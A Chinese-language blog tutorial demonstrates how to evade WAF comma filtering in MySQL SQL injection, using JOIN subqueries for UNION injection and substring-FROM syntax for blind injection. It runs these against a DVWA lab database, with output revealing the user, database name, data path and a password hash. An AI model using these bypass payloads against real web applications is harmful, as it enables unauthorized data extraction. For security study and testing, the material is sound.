zoukankan      html  css  js  c++  java
  • SQL注入--显注和盲注中过滤逗号绕过

    SQL注入逗号绕过

    1.联合查询显注绕过逗号

    在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,语句中包含了多个逗号,如果有WAF拦截了逗号时,我们的联合查询不能用了。
    绕过
    在显示位上替换为常见的注入变量或其它语句

    union select 1,2,3;
    
    union select * from ((select 1)A join (select 2)B join (select 3)C);
    
    union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);
    

    在数据库中演示联合查询
    UNION开始是我们在URL中注入的语句,这里只是演示,在实际中如果我们在注入语句中有逗号就可能被拦截

    mysql> select user_id,user,password from users union select 1,2,3;
    +---------+-------+----------------------------------+
    | user_id | user  | password                         |
    +---------+-------+----------------------------------+
    |       1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
    |       1 | 2     | 3                                |
    +---------+-------+----------------------------------+
    2 rows in set (0.04 sec)
    

    不出现逗号,使用Join来注入

    mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C);
    +---------+-------+----------------------------------+
    | user_id | user  | password                         |
    +---------+-------+----------------------------------+
    |       1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
    |       1 | 2     | 3                                |
    +---------+-------+----------------------------------+
    2 rows in set (0.05 sec)
    

    查询我们想要的数据

    mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);;
    +---------+-------+-------------------------------------------------+
    | user_id | user  | password                                        |
    +---------+-------+-------------------------------------------------+
    |       1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99                |
    |       1 | 2     | root@192.168.228.1 dvwa c:phpStudyMySQLdata |
    +---------+-------+-------------------------------------------------+
    2 rows in set (0.08 sec)
    

    2.盲注中逗号绕过

    MID 和substr 函数用于从文本字段中提取字符

    mysql> select mid(user(),1,2);
    +-----------------+
    | mid(user(),1,2) |
    +-----------------+
    | ro              |
    +-----------------+
    1 row in set (0.04 sec)
    

    查询数据库用户名第一个字符的ascii码

    mysql> select user_id,user,password from users union select ascii(mid(user(),1,2)),2,3;
    +---------+-------+----------------------------------+
    | user_id | user  | password                         |
    +---------+-------+----------------------------------+
    |       1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
    |     114 | 2     | 3                                |
    +---------+-------+----------------------------------+
    2 rows in set (0.05 sec)
    

    盲注,通过猜ascii值

    mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=115) ;
    Empty set
    
    mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=114) ;
    +---------+-------+----------------------------------+
    | user_id | user  | password                         |
    +---------+-------+----------------------------------+
    |       1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
    +---------+-------+----------------------------------+
    1 row in set (0.04 sec)
    

    逗号绕过SUBTTRING 函数
    substring(str FROM pos)
    从字符串str的起始位置pos 返回一个子串

    mysql> select substring('hello' from 1);
    +---------------------------+
    | substring('hello' from 1) |
    +---------------------------+
    | hello                     |
    +---------------------------+
    1 row in set (0.04 sec)
    
    mysql> select substring('hello' from 2);
    +---------------------------+
    | substring('hello' from 2) |
    +---------------------------+
    | ello                      |
    +---------------------------+
    1 row in set (0.03 sec)
    

    注入

    mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ;
    Empty set
    //substring(user() from 2)为o
    //o的ascii为111,
    mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ;
    +---------+-------+----------------------------------+
    | user_id | user  | password                         |
    +---------+-------+----------------------------------+
    |       1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
    +---------+-------+----------------------------------+
    1 row in set (0.03 sec)
    
  • 相关阅读:
    c语言结构体数组引用
    c语言结构体数组定义的三种方式
    如何为SAP WebIDE开发扩展(Extension),并部署到SAP云平台上
    SAP SRM ABAP Webdynpro和CFCA usb key集成的一个原型开发
    使用SAP API portal进行SAP SuccessFactors的API测试
    SAP UI5应用里的页面路由处理
    在SAP WebIDE Database Explorer里操作hdi实例
    如何使用SAP事务码SAT进行UI应用的性能分析
    使用SAP WebIDE进行SAP Cloud Platform Business Application开发
    SAP CRM WebClient UI ON_NEW_FOCUS的用途
  • 原文地址:https://www.cnblogs.com/hackxf/p/9490534.html
Copyright © 2011-2022 走看看